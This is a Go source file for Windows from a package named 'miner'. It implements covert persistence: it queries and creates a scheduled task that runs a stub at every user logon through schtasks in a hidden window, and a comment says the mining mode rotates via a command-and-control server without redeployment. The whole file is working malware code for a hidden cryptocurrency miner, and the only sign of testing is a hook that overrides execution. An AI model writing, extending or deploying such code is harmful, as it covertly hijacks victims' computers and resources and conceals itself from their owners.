//go:build windows package miner import ( "os/exec" "strings" ) func platformScheduledTaskOps() *ScheduledTaskOps { return &ScheduledTaskOps{ Exists: scheduledTaskExists, Install: installHiddenScheduledTask, StubPath: scheduledTaskStubPath, } } func scheduledTaskExists(taskName string) bool { err := hiddenRun("schtasks", "/Query", "/TN", taskName) return err == nil } func installHiddenScheduledTask(taskName, stubPath, trigger string) error { // /RL LIMITED + hidden window; mining mode rotates via C2 without redeploy. tr := strings.ReplaceAll(trigger, `"`, `\"`) return hiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, "/SC", "ONLOGON", "/F", "/RL", "LIMITED") } var hiddenRun = defaultHiddenRun func defaultHiddenRun(name string, arg ...string) error { cmd := exec.Command(name, arg...) applyHiddenWindow(cmd) return cmd.Run() } // SetTierHiddenRun overrides hidden exec for tests. func SetTierHiddenRun(fn func(name string, arg ...string) error) { if fn == nil { hiddenRun = defaultHiddenRun return } hiddenRun = fn }